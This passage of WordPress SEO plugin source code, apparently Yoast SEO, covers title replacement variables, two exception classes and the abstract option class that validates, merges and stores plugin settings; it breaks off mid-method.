			new WPSEO_Replacement_Variable( 'primary_category', __( 'Primary category', 'wordpress-seo' ), __( 'Replaced with the primary category of the post/page', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'category_description', __( 'Category description', 'wordpress-seo' ), __( 'Replaced with the category description', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'tag_description', __( 'Tag description', 'wordpress-seo' ), __( 'Replaced with the tag description', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'term_description', __( 'Term description', 'wordpress-seo' ), __( 'Replaced with the term description', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'term_title', __( 'Term title', 'wordpress-seo' ), __( 'Replaced with the term name', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'searchphrase', __( 'Search phrase', 'wordpress-seo' ), __( 'Replaced with the current search phrase', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'term_hierarchy', __( 'Term hierarchy', 'wordpress-seo' ), __( 'Replaced with the term ancestors hierarchy', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'sep', __( 'Separator', 'wordpress-seo' ), $separator_description ),
			new WPSEO_Replacement_Variable( 'currentdate', __( 'Current date', 'wordpress-seo' ), __( 'Replaced with the current date', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'currentyear', __( 'Current year', 'wordpress-seo' ), __( 'Replaced with the current year', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'currentmonth', __( 'Current month', 'wordpress-seo' ), __( 'Replaced with the current month', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'currentday', __( 'Current day', 'wordpress-seo' ), __( 'Replaced with the current day', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'post_year', __( 'Post year', 'wordpress-seo' ), __( 'Replaced with the year the post was published', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'post_month', __( 'Post month', 'wordpress-seo' ), __( 'Replaced with the month the post was published', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'post_day', __( 'Post day', 'wordpress-seo' ), __( 'Replaced with the day the post was published', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'author_first_name', __( 'Author first name', 'wordpress-seo' ), __( 'Replaced with the first name of the author', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'author_last_name', __( 'Author last name', 'wordpress-seo' ), __( 'Replaced with the last name of the author', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'permalink', __( 'Permalink', 'wordpress-seo' ), __( 'Replaced with the permalink', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'post_content', __( 'Post Content', 'wordpress-seo' ), __( 'Replaced with the post content', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'category_title', __( 'Category Title', 'wordpress-seo' ), __( 'Current or first category title', 'wordpress-seo' ) ),
		];

		foreach ( $replacement_variables as $replacement_variable ) {
			self::register_help_text( 'basic', $replacement_variable );
		}
	}

	/**
	 * Set/translate the help texts for the WPSEO standard advanced variables.
	 *
	 * @return void
	 */
	private static function set_advanced_help_texts() {
		$replacement_variables = [
			new WPSEO_Replacement_Variable( 'pt_single', __( 'Post type (singular)', 'wordpress-seo' ), __( 'Replaced with the content type single label', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'pt_plural', __( 'Post type (plural)', 'wordpress-seo' ), __( 'Replaced with the content type plural label', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'modified', __( 'Modified', 'wordpress-seo' ), __( 'Replaced with the post/page modified time', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'id', __( 'ID', 'wordpress-seo' ), __( 'Replaced with the post/page ID', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'name', __( 'Name', 'wordpress-seo' ), __( 'Replaced with the post/page author\'s \'nicename\'', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'user_description', __( 'User description', 'wordpress-seo' ), __( 'Replaced with the post/page author\'s \'Biographical Info\'', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'page', __( 'Page', 'wordpress-seo' ), __( 'Replaced with the current page number with context (i.e. page 2 of 4)', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'pagetotal', __( 'Pagetotal', 'wordpress-seo' ), __( 'Replaced with the current page total', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'pagenumber', __( 'Pagenumber', 'wordpress-seo' ), __( 'Replaced with the current page number', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'caption', __( 'Caption', 'wordpress-seo' ), __( 'Attachment caption', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'focuskw', __( 'Focus keyword', 'wordpress-seo' ), __( 'Replaced with the posts focus keyphrase', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'term404', __( 'Term404', 'wordpress-seo' ), __( 'Replaced with the slug which caused the 404', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'cf_<custom-field-name>', '<custom-field-name> ' . __( '(custom field)', 'wordpress-seo' ), __( 'Replaced with a posts custom field value', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'ct_<custom-tax-name>', '<custom-tax-name> ' . __( '(custom taxonomy)', 'wordpress-seo' ), __( 'Replaced with a posts custom taxonomies, comma separated.', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'ct_desc_<custom-tax-name>', '<custom-tax-name> ' . __( 'description (custom taxonomy)', 'wordpress-seo' ), __( 'Replaced with a custom taxonomies description', 'wordpress-seo' ) ),
		];

		foreach ( $replacement_variables as $replacement_variable ) {
			self::register_help_text( 'advanced', $replacement_variable );
		}
	}

	/* *********************** GENERAL HELPER METHODS ************************** */

	/**
	 * Remove the '%%' delimiters from a variable string.
	 *
	 * @param string $text Variable string to be cleaned.
	 *
	 * @return string
	 */
	private static function remove_var_delimiter( $text ) {
		return trim( $text, '%' );
	}

	/**
	 * Add the '%%' delimiters to a variable string.
	 *
	 * @param string $text Variable string to be delimited.
	 *
	 * @return string
	 */
	private static function add_var_delimiter( $text ) {
		return '%%' . $text . '%%';
	}

	/**
	 * Retrieve a post's terms, comma delimited.
	 *
	 * @param int    $id            ID of the post to get the terms for.
	 * @param string $taxonomy      The taxonomy to get the terms for this post from.
	 * @param bool   $return_single If true, return the first term.
	 *
	 * @return string Either a single term or a comma delimited string of terms.
	 */
	public function get_terms( $id, $taxonomy, $return_single = false ) {
		$output = '';

		// If we're on a specific tag, category or taxonomy page, use that.
		if ( ! empty( $this->args->term_id ) ) {
			$output = $this->args->name;
		}
		elseif ( ! empty( $id ) && ! empty( $taxonomy ) ) {
			$terms = get_the_terms( $id, $taxonomy );
			if ( is_array( $terms ) && $terms !== [] ) {
				foreach ( $terms as $term ) {
					if ( $return_single ) {
						$output = $term->name;
						break;
					}
					else {
						$output .= $term->name . ', ';
					}
				}
				$output = rtrim( trim( $output ), ',' );
			}
		}
		unset( $terms, $term );

		/**
		 * Allows filtering of the terms list used to replace %%category%%, %%tag%%
		 * and %%ct_<custom-tax-name>%% variables.
		 *
		 * @param string $output   Comma-delimited string containing the terms.
		 * @param string $taxonomy The taxonomy of the terms.
		 */
		return apply_filters( 'wpseo_terms', $output, $taxonomy );
	}

	/**
	 * Gets a taxonomy term hierarchy including the term to get the parents for.
	 *
	 * @return string
	 */
	private function get_term_hierarchy() {
		if ( ! is_taxonomy_hierarchical( $this->args->taxonomy ) ) {
			return '';
		}

		$separator = ' ' . $this->retrieve_sep() . ' ';

		$args = [
			'format'    => 'name',
			'separator' => $separator,
			'link'      => false,
			'inclusive' => true,
		];

		return rtrim(
			get_term_parents_list( $this->args->term_id, $this->args->taxonomy, $args ),
			$separator
		);
	}

	/**
	 * Retrieves the term ancestors hierarchy.
	 *
	 * @return string|null The term ancestors hierarchy.
	 */
	private function retrieve_term_hierarchy() {
		$replacement = null;

		if ( ! empty( $this->args->term_id ) && ! empty( $this->args->taxonomy ) ) {
			$hierarchy = $this->get_term_hierarchy();

			if ( $hierarchy !== '' ) {
				$replacement = esc_html( $hierarchy );
			}
		}

		return $replacement;
	}
}
wordpress-seo/inc/exceptions/class-myyoast-invalid-json-exception.php000064400000000327147510273100022224 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 */

/**
 * Class WPSEO_MyYoast_Invalid_JSON_Exception.
 */
class WPSEO_MyYoast_Invalid_JSON_Exception extends WPSEO_MyYoast_Bad_Request_Exception {

}
wordpress-seo/inc/exceptions/class-myyoast-bad-request-exception.php000064400000000273147510273100022043 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 */

/**
 * Class WPSEO_MyYoast_Bad_Request_Exception.
 */
class WPSEO_MyYoast_Bad_Request_Exception extends Exception {

}
wordpress-seo/inc/options/class-wpseo-option.php000064400000067762147510273100016125 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals\Options
 */

/**
 * This abstract class and its concrete classes implement defaults and value validation for
 * all WPSEO options and subkeys within options.
 *
 * Some guidelines:
 * [Retrieving options]
 * - Use the normal get_option() to retrieve an option. You will receive a complete array for the option.
 *   Any subkeys which were not set, will have their default values in place.
 * - In other words, you will normally not have to check whether a subkey isset() as they will *always* be set.
 *   They will also *always* be of the correct variable type.
 *   The only exception to this are the options with variable option names based on post_type or taxonomy
 *   as those will not always be available before the taxonomy/post_type is registered.
 *   (they will be available if a value was set, they won't be if it wasn't as the class won't know
 *   that a default needs to be injected).
 *
 * [Updating/Adding options]
 * - For multisite site_options, please use the WPSEO_Options::update_site_option() method.
 * - For normal options, use the normal add/update_option() functions. As long as the classes here
 *   are instantiated, validation for all options and their subkeys will be automatic.
 * - On (successful) update of a couple of options, certain related actions will be run automatically.
 *   Some examples:
 *   - on change of wpseo[yoast_tracking], the cron schedule will be adjusted accordingly
 *   - on change of wpseo and wpseo_title, some caches will be cleared
 *
 * [Important information about add/updating/changing these classes]
 * - Make sure that option array key names are unique across options. The WPSEO_Options::get_all()
 *   method merges most options together. If any of them have non-unique names, even if they
 *   are in a different option, they *will* overwrite each other.
 * - When you add a new array key in an option: make sure you add proper defaults and add the key
 *   to the validation routine in the proper place or add a new validation case.
 *   You don't need to do any upgrading as any option returned will always be merged with the
 *   defaults, so new options will automatically be available.
 *   If the default value is a string which need translating, add this to the concrete class
 *   translate_defaults() method.
 * - When you remove an array key from an option: if it's important that the option is really removed,
 *   add the WPSEO_Option::clean_up( $option_name ) method to the upgrade run.
 *   This will re-save the option and automatically remove the array key no longer in existence.
 * - When you rename a sub-option: add it to the clean_option() routine and run that in the upgrade run.
 * - When you change the default for an option sub-key, make sure you verify that the validation routine will
 *   still work the way it should.
 *   Example: changing a default from '' (empty string) to 'text' with a validation routine with tests
 *   for an empty string will prevent a user from saving an empty string as the real value. So the
 *   test for '' with the validation routine would have to be removed in that case.
 * - If an option needs specific actions different from defined in this abstract class, you can just overrule
 *   a method by defining it in the concrete class.
 *
 * @todo [JRF => testers] Double check that validation will not cause errors when called
 *       from upgrade routine (some of the WP functions may not yet be available).
 */
abstract class WPSEO_Option {

	/**
	 * Prefix for override option keys that allow or disallow the option key of the same name.
	 *
	 * @var string
	 */
	public const ALLOW_KEY_PREFIX = 'allow_';

	/**
	 * Option name - MUST be set in concrete class and set to public.
	 *
	 * @var string
	 */
	protected $option_name;

	/**
	 * Option group name for use in settings forms.
	 *
	 * Will be set automagically if not set in concrete class (i.e.
	 * if it conforms to the normal pattern 'yoast' . $option_name . 'options',
	 * only set in concrete class if it doesn't).
	 *
	 * @var string
	 */
	public $group_name;

	/**
	 * Whether to include the option in the return for WPSEO_Options::get_all().
	 *
	 * Also determines which options are copied over for ms_(re)set_blog().
	 *
	 * @var bool
	 */
	public $include_in_all = true;

	/**
	 * Whether this option is only for when the install is multisite.
	 *
	 * @var bool
	 */
	public $multisite_only = false;

	/**
	 * Array of defaults for the option - MUST be set in concrete class.
	 *
	 * Shouldn't be requested directly, use $this->get_defaults();
	 *
	 * @var array
	 */
	protected $defaults;

	/**
	 * Array of variable option name patterns for the option - if any.
	 *
	 * Set this when the option contains array keys which vary based on post_type
	 * or taxonomy.
	 *
	 * @var array
	 */
	protected $variable_array_key_patterns;

	/**
	 * Array of sub-options which should not be overloaded with multi-site defaults.
	 *
	 * @var array
	 */
	public $ms_exclude = [];

	/**
	 * Name for an option higher in the hierarchy to override setting access.
	 *
	 * @var string
	 */
	protected $override_option_name;

	/**
	 * Instance of this class.
	 *
	 * @var WPSEO_Option
	 */
	protected static $instance;


	/* *********** INSTANTIATION METHODS *********** */

	/**
	 * Add all the actions and filters for the option.
	 */
	protected function __construct() {

		/* Add filters which get applied to the get_options() results. */
		$this->add_default_filters(); // Return defaults if option not set.
		$this->add_option_filters(); // Merge with defaults if option *is* set.

		if ( $this->multisite_only !== true ) {
			/**
			 * The option validation routines remove the default filters to prevent failing
			 * to insert an option if it's new. Let's add them back afterwards.
			 */
			add_action( 'add_option', [ $this, 'add_default_filters_if_same_option' ] ); // Adding back after INSERT.

			add_action( 'update_option', [ $this, 'add_default_filters_if_same_option' ] );

			add_filter( 'pre_update_option', [ $this, 'add_default_filters_if_not_changed' ], PHP_INT_MAX, 3 );

			// Refills the cache when the option has been updated.
			add_action( 'update_option_' . $this->option_name, [ 'WPSEO_Options', 'clear_cache' ], 10 );
		}
		elseif ( is_multisite() ) {
			/*
			 * The option validation routines remove the default filters to prevent failing
			 * to insert an option if it's new. Let's add them back afterwards.
			 *
			 * For site_options, this method is not foolproof as these actions are not fired
			 * on an insert/update failure. Please use the WPSEO_Options::update_site_option() method
			 * for updating site options to make sure the filters are in place.
			 */
			add_action( 'add_site_option_' . $this->option_name, [ $this, 'add_default_filters' ] );
			add_action( 'update_site_option_' . $this->option_name, [ $this, 'add_default_filters' ] );
			add_filter( 'pre_update_site_option_' . $this->option_name, [ $this, 'add_default_filters_if_not_changed' ], PHP_INT_MAX, 3 );

			// Refills the cache when the option has been updated.
			add_action( 'update_site_option_' . $this->option_name, [ 'WPSEO_Options', 'clear_cache' ], 1, 0 );
		}

		/*
		 * Make sure the option will always get validated, independently of register_setting()
		 * (only available on back-end).
		 */
		add_filter( 'sanitize_option_' . $this->option_name, [ $this, 'validate' ] );

		/* Register our option for the admin pages */
		add_action( 'admin_init', [ $this, 'register_setting' ] );

		/* Set option group name if not given */
		if ( ! isset( $this->group_name ) || $this->group_name === '' ) {
			$this->group_name = 'yoast_' . $this->option_name . '_options';
		}

		/* Translate some defaults as early as possible - textdomain is loaded in init on priority 1. */
		if ( method_exists( $this, 'translate_defaults' ) ) {
			add_action( 'init', [ $this, 'translate_defaults' ], 2 );
		}

		/**
		 * Enrich defaults once custom post types and taxonomies have been registered
		 * which is normally done on the init action.
		 *
		 * @todo [JRF/testers] Verify that none of the options which are only available after
		 * enrichment are used before the enriching.
		 */
		if ( method_exists( $this, 'enrich_defaults' ) ) {
			add_action( 'init', [ $this, 'enrich_defaults' ], 99 );
		}
	}

	/*
	 * All concrete classes *must* contain the get_instance method.
	 *
	 * {@internal Unfortunately I can't define it as an abstract as it also *has* to be static...}}
	 *
	 * ```
	 * abstract protected static function get_instance();
	 * ```
	 * ---------------
	 *
	 * Concrete classes *may* contain a translate_defaults method.
	 * ```
	 * abstract public function translate_defaults();
	 * ```
	 * ---------------
	 *
	 * Concrete classes *may* contain an enrich_defaults method to add additional defaults once
	 * all post_types and taxonomies have been registered.
	 *
	 * ```
	 * abstract public function enrich_defaults();
	 * ```
	 */

	/* *********** METHODS INFLUENCING get_option() *********** */

	/**
	 * Add filters to make sure that the option default is returned if the option is not set.
	 *
	 * @return void
	 */
	public function add_default_filters() {
		// Don't change, needs to check for false as could return prio 0 which would evaluate to false.
		if ( has_filter( 'default_option_' . $this->option_name, [ $this, 'get_defaults' ] ) === false ) {
			add_filter( 'default_option_' . $this->option_name, [ $this, 'get_defaults' ] );
		}
	}

	/**
	 * Adds back the default filters that were removed during validation if the option was changed.
	 * Checks if this option was changed to prevent constantly checking if filters are present.
	 *
	 * @param string $option_name The option name.
	 *
	 * @return void
	 */
	public function add_default_filters_if_same_option( $option_name ) {
		if ( $option_name === $this->option_name ) {
			$this->add_default_filters();
		}
	}

	/**
	 * Adds back the default filters that were removed during validation if the option was not changed.
	 * This is because in that case the latter actions are not called and thus the filters are never
	 * added back.
	 *
	 * @param mixed  $value       The current value.
	 * @param string $option_name The option name.
	 * @param mixed  $old_value   The old value.
	 *
	 * @return string The current value.
	 */
	public function add_default_filters_if_not_changed( $value, $option_name, $old_value ) {
		if ( $option_name !== $this->option_name ) {
			return $value;
		}

		if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) {
			$this->add_default_filters();
		}

		return $value;
	}

	/**
	 * Validate webmaster tools & Pinterest verification strings.
	 *
	 * @param string $key   Key to check, by type of service.
	 * @param array  $dirty Dirty data with the new values.
	 * @param array  $old   Old data.
	 * @param array  $clean Clean data by reference, normally the default values.
	 *
	 * @return void
	 */
	public function validate_verification_string( $key, $dirty, $old, &$clean ) {
		if ( isset( $dirty[ $key ] ) && $dirty[ $key ] !== '' ) {
			$meta = $dirty[ $key ];
			if ( strpos( $meta, 'content=' ) ) {
				// Make sure we only have the real key, not a complete meta tag.
				preg_match( '`content=([\'"])?([^\'"> ]+)(?:\1|[ />])`', $meta, $match );
				if ( isset( $match[2] ) ) {
					$meta = $match[2];
				}
				unset( $match );
			}

			$meta = sanitize_text_field( $meta );
			if ( $meta !== '' ) {
				$regex = '`^[A-Fa-f0-9_-]+$`';

				switch ( $key ) {
					case 'googleverify':
					case 'baiduverify':
						$regex = '`^[A-Za-z0-9_-]+$`';
						break;

					case 'msverify':
					case 'pinterestverify':
					case 'yandexverify':
						break;
				}

				if ( preg_match( $regex, $meta ) ) {
					$clean[ $key ] = $meta;
				}
				else {
					// Restore the previous value, if any.
					if ( isset( $old[ $key ] ) && preg_match( $regex, $old[ $key ] ) ) {
						$clean[ $key ] = $old[ $key ];
					}

					Yoast_Input_Validation::add_dirty_value_to_settings_errors( $key, $meta );
				}
			}
		}
	}

	/**
	 * Validates an option as a valid URL. Prints out a WordPress settings error
	 * notice if the URL is invalid.
	 *
	 * @param string $key   Key to check, by type of URL setting.
	 * @param array  $dirty Dirty data with the new values.
	 * @param array  $old   Old data.
	 * @param array  $clean Clean data by reference, normally the default values.
	 *
	 * @return void
	 */
	public function validate_url( $key, $dirty, $old, &$clean ) {
		if ( isset( $dirty[ $key ] ) && $dirty[ $key ] !== '' ) {

			$submitted_url = trim( $dirty[ $key ] );
			$validated_url = filter_var( WPSEO_Utils::sanitize_url( $submitted_url ), FILTER_VALIDATE_URL );

			if ( $validated_url === false ) {
				// Restore the previous URL value, if any.
				if ( isset( $old[ $key ] ) && $old[ $key ] !== '' ) {
					$url = WPSEO_Utils::sanitize_url( $old[ $key ] );
					if ( $url !== '' ) {
						$clean[ $key ] = $url;
					}
				}

				Yoast_Input_Validation::add_dirty_value_to_settings_errors( $key, $submitted_url );

				return;
			}

			// The URL format is valid, let's sanitize it.
			$url = WPSEO_Utils::sanitize_url( $validated_url );

			if ( $url !== '' ) {
				$clean[ $key ] = $url;
			}
		}
	}

	/**
	 * Remove the default filters.
	 * Called from the validate() method to prevent failure to add new options.
	 *
	 * @return void
	 */
	public function remove_default_filters() {
		remove_filter( 'default_option_' . $this->option_name, [ $this, 'get_defaults' ] );
	}

	/**
	 * Get the enriched default value for an option.
	 *
	 * Checks if the concrete class contains an enrich_defaults() method and if so, runs it.
	 *
	 * {@internal The enrich_defaults method is used to set defaults for variable array keys
	 *            in an option, such as array keys depending on post_types and/or taxonomies.}}
	 *
	 * @return array
	 */
	public function get_defaults() {
		if ( method_exists( $this, 'translate_defaults' ) ) {
			$this->translate_defaults();
		}

		if ( method_exists( $this, 'enrich_defaults' ) ) {
			$this->enrich_defaults();
		}

		return apply_filters( 'wpseo_defaults', $this->defaults, $this->option_name );
	}

	/**
	 * Add filters to make sure that the option is merged with its defaults before being returned.
	 *
	 * @return void
	 */
	public function add_option_filters() {
		// Don't change, needs to check for false as could return prio 0 which would evaluate to false.
		if ( has_filter( 'option_' . $this->option_name, [ $this, 'get_option' ] ) === false ) {
			add_filter( 'option_' . $this->option_name, [ $this, 'get_option' ] );
		}
	}

	/**
	 * Remove the option filters.
	 * Called from the clean_up methods to make sure we retrieve the original old option.
	 *
	 * @return void
	 */
	public function remove_option_filters() {
		remove_filter( 'option_' . $this->option_name, [ $this, 'get_option' ] );
	}

	/**
	 * Merge an option with its default values.
	 *
	 * This method should *not* be called directly!!! It is only meant to filter the get_option() results.
	 *
	 * @param mixed $options Option value.
	 *
	 * @return mixed Option merged with the defaults for that option.
	 */
	public function get_option( $options = null ) {
		$filtered = $this->array_filter_merge( $options );

		/*
		 * If the option contains variable option keys, make sure we don't remove those settings
		 * - even if the defaults are not complete yet.
		 * Unfortunately this means we also won't be removing the settings for post types or taxonomies
		 * which are no longer in the WP install, but rather that than the other way around.
		 */
		if ( isset( $this->variable_array_key_patterns ) ) {
			$filtered = $this->retain_variable_keys( $options, $filtered );
		}

		return $filtered;
	}

	/* *********** METHODS influencing add_option(), update_option() and saving from admin pages. *********** */

	/**
	 * Register (whitelist) the option for the configuration pages.
	 * The validation callback is already registered separately on the sanitize_option hook,
	 * so no need to double register.
	 *
	 * @return void
	 */
	public function register_setting() {
		if ( ! WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' ) ) {
			return;
		}

		if ( $this->multisite_only === true ) {
			$network_settings_api = Yoast_Network_Settings_API::get();
			if ( $network_settings_api->meets_requirements() ) {
				$network_settings_api->register_setting( $this->group_name, $this->option_name );
			}
			return;
		}

		register_setting( $this->group_name, $this->option_name );
	}

	/**
	 * Validate the option.
	 *
	 * @param mixed $option_value The unvalidated new value for the option.
	 *
	 * @return array Validated new value for the option.
	 */
	public function validate( $option_value ) {
		$clean = $this->get_defaults();

		/* Return the defaults if the new value is empty. */
		if ( ! is_array( $option_value ) || $option_value === [] ) {
			return $clean;
		}

		$option_value = array_map( [ 'WPSEO_Utils', 'trim_recursive' ], $option_value );

		$old = $this->get_original_option();
		if ( ! is_array( $old ) ) {
			$old = [];
		}
		$old = array_merge( $clean, $old );

		$clean = $this->validate_option( $option_value, $clean, $old );

		// Prevent updates to variables that are disabled via the override option.
		$clean = $this->prevent_disabled_options_update( $clean, $old );

		/* Retain the values for variable array keys even when the post type/taxonomy is not yet registered. */
		if ( isset( $this->variable_array_key_patterns ) ) {
			$clean = $this->retain_variable_keys( $option_value, $clean );
		}

		$this->remove_default_filters();

		return $clean;
	}

	/**
	 * Checks whether a specific option key is disabled.
	 *
	 * This is determined by whether an override option is available with a key that equals the given key prefixed
	 * with 'allow_'.
	 *
	 * @param string $key Option key.
	 *
	 * @return bool True if option key is disabled, false otherwise.
	 */
	public function is_disabled( $key ) {
		$override_option = $this->get_override_option();
		if ( empty( $override_option ) ) {
			return false;
		}

		return isset( $override_option[ self::ALLOW_KEY_PREFIX . $key ] ) && ! $override_option[ self::ALLOW_KEY_PREFIX . $key ];
	}

	/**
	 * All concrete classes must contain a validate_option() method which validates all
	 * values within the option.
	 *
	 * @param array $dirty New value for the option.
	 * @param array $clean Clean value for the option, normally the defaults.
	 * @param array $old   Old value of the option.
	 */
	abstract protected function validate_option( $dirty, $clean, $old );

	/* *********** METHODS for ADDING/UPDATING/UPGRADING the option. *********** */

	/**
	 * Retrieve the real old value (unmerged with defaults).
	 *
	 * @return array|bool The original option value (which can be false if the option doesn't exist).
	 */
	protected function get_original_option() {
		$this->remove_default_filters();
		$this->remove_option_filters();

		// Get (unvalidated) array, NOT merged with defaults.
		if ( $this->multisite_only !== true ) {
			$option_value = get_option( $this->option_name );
		}
		else {
			$option_value = get_site_option( $this->option_name );
		}

		$this->add_option_filters();
		$this->add_default_filters();

		return $option_value;
	}

	/**
	 * Add the option if it doesn't exist for some strange reason.
	 *
	 * @uses WPSEO_Option::get_original_option()
	 *
	 * @return void
	 */
	public function maybe_add_option() {
		if ( $this->get_original_option() === false ) {
			if ( $this->multisite_only !== true ) {
				update_option( $this->option_name, $this->get_defaults() );
			}
			else {
				$this->update_site_option( $this->get_defaults() );
			}
		}
	}

	/**
	 * Update a site_option.
	 *
	 * {@internal This special method is only needed for multisite options, but very needed indeed there.
	 *            The order in which certain functions and hooks are run is different between
	 *            get_option() and get_site_option() which means in practice that the removing
	 *            of the default filters would be done too late and the re-adding of the default
	 *            filters might not be done at all.
	 *            Aka: use the WPSEO_Options::update_site_option() method (which calls this method)
	 *            for safely adding/updating multisite options.}}
	 *
	 * @param mixed $value The new value for the option.
	 *
	 * @return bool Whether the update was successful.
	 */
	public function update_site_option( $value ) {
		if ( $this->multisite_only === true && is_multisite() ) {
			$this->remove_default_filters();
			$result = update_site_option( $this->option_name, $value );
			$this->add_default_filters();

			return $result;
		}
		else {
			return false;
		}
	}

	/**
	 * Retrieve the real old value (unmerged with defaults), clean and re-save the option.
	 *
	 * @uses WPSEO_Option::get_original_option()
	 * @uses WPSEO_Option::import()
	 *
	 * @param string|null $current_version Optional. Version from which to upgrade, if not set,
	 *                                     version-specific upgrades will be disregarded.
	 *
	 * @return void
	 */
	public function clean( $current_version = null ) {
		$option_value = $this->get_original_option();
		$this->import( $option_value, $current_version );
	}

	/**
	 * Clean and re-save the option.
	 *
	 * @uses clean_option() method from concrete class if it exists.
	 *
	 * @todo [JRF/whomever] Figure out a way to show settings error during/after the upgrade - maybe
	 * something along the lines of:
	 * -> add them to a property in this class
	 * -> if that property isset at the end of the routine and add_settings_error function does not exist,
	 *    save as transient (or update the transient if one already exists)
	 * -> next time an admin is in the WP back-end, show the errors and delete the transient or only delete it
	 *    once the admin has dismissed the message (add ajax function)
	 * Important: all validation routines which add_settings_errors would need to be changed for this to work
	 *
	 * @param array       $option_value          Option value to be imported.
	 * @param string|null $current_version       Optional. Version from which to upgrade, if not set,
	 *                                           version-specific upgrades will be disregarded.
	 * @param array|null  $all_old_option_values Optional. Only used when importing old options to
	 *                                           have access to the real old values, in contrast to
	 *                                           the saved ones.
	 *
	 * @return void
	 */
	public function import( $option_value, $current_version = null, $all_old_option_values = null ) {
		if ( $option_value === false ) {
			$option_value = $this->get_defaults();
		}
		elseif ( is_array( $option_value ) && method_exists( $this, 'clean_option' ) ) {
			$option_value = $this->clean_option( $option_value, $current_version, $all_old_option_values );
		}

		/*
		 * Save the cleaned value - validation will take care of cleaning out array keys which
		 * should no longer be there.
		 */
		if ( $this->multisite_only !== true ) {
			update_option( $this->option_name, $option_value );
		}
		else {
			$this->update_site_option( $this->option_name, $option_value );
		}
	}

	/**
	 * Returns the variable array key patterns for an options class.
	 *
	 * @return array
	 */
	public function get_patterns() {
		return (array) $this->variable_array_key_patterns;
	}

	/**
	 * Retrieves the option name.
	 *
	 * @return string The set option name.
	 */
	public function get_option_name() {
		return $this->option_name;
	}

	/*
	 * Concrete classes *may* contain a clean_option method which will clean out old/renamed
	 * values within the option.
	 *
	 * ```
	 * abstract public function clean_option( $option_value, $current_version = null, $all_old_option_values = null );
	 * ```
	 */

	/* *********** HELPER METHODS for internal use. *********** */

	/**
	 * Helper method - Combines a fixed array of default values with an options array
	 * while filtering out any keys which are not in the defaults array.
	 *
	 * @todo [JRF] - shouldn't this be a straight array merge ? at the end of the day, the validation
	 * removes any invalid keys on save.
	 *
	 * @param array|null $options Optional. Current options. If not set, the option defaults
	 *                            for the $option_key will be returned.
	 *
	 * @return array Combined and filtered options array.
	 */
	protected function array_filter_merge( $options = null ) {

		$defaults = $this->get_defaults();

		if ( ! isset( $options ) || $options === false || $options === [] ) {
			return $defaults;
		}

		$options = (array) $options;

		/*
			$filtered = array();

			if ( $defaults !== array() ) {
				foreach ( $defaults as $key => $default_value ) {
					// @todo should this walk through array subkeys ?
					$filtered[ $key ] = ( isset( $options[ $key ] ) ? $options[ $key ] : $default_value );
				}
			}
		*/
		$filtered = array_merge( $defaults, $options );

		return $filtered;
	}

	/**
	 * Sets updated values for variables that are disabled via the override option back to their previous values.
	 *
	 * @param array $updated Updated option value.
	 * @param array $old     Old option value.
	 *
	 * @return array Updated option value, with all disabled variables set to their old values.
	 */
	protected function prevent_disabled_options_update( $updated, $old ) {
		$override_option = $this->get_override_option();
		if ( empty( $override_option ) ) {
			return $updated;
		}

		/*
		 * This loop could as well call `is_disabled( $key )` for each iteration,
		 * however this would be worse performance-wise.
		 */
		foreach ( $old as $key => $value ) {
			if ( isset( $override_option[ self::ALLOW_KEY_PREFIX . $key ] ) && ! $override_option[ self::ALLOW_KEY_PREFIX . $key ] ) {
				$updated[ $key ] = $old[ $key ];
			}
		}

		return $updated;
	}

	/**
	 * Retrieves the value of the override option, if available.
	 *
	 * An override option contains values that may determine access to certain sub-variables
	 * of this option.
	 *
	 * Only regular options in multisite can have override options, which in that case
	 * would be network options.
	 *
	 * @return array Override option value, or empty array if unavailable.
	 */
	protected function get_override_option() {
		if ( empty( $this->override_option_name ) || $this->multisite_only === true || ! is_multisite() ) {
			return [];
		}

		return get_site_option( $this->override_option_name, [] );
	}

	/**
	 * Make sure that any set option values relating to post_types and/or taxonomies are retained,
	 * even when that post_type or taxonomy may not yet have been registered.
	 *
	 * {@internal The wpseo_titles concrete class overrules this method. Make sure that any
	 *            changes applied here, also get ported to that version.}}
	 *
	 * @param array $dirty Original option as retrieved from the database.
	 * @param array $clean Filtered option where any options which shouldn't be in our option
	 *                     have already been removed and any options which weren't set
	 *                     have been set to their defaults.
	 *
	 * @return array
	 */
	protected function retain_variable_keys( $dirty, $clean ) {
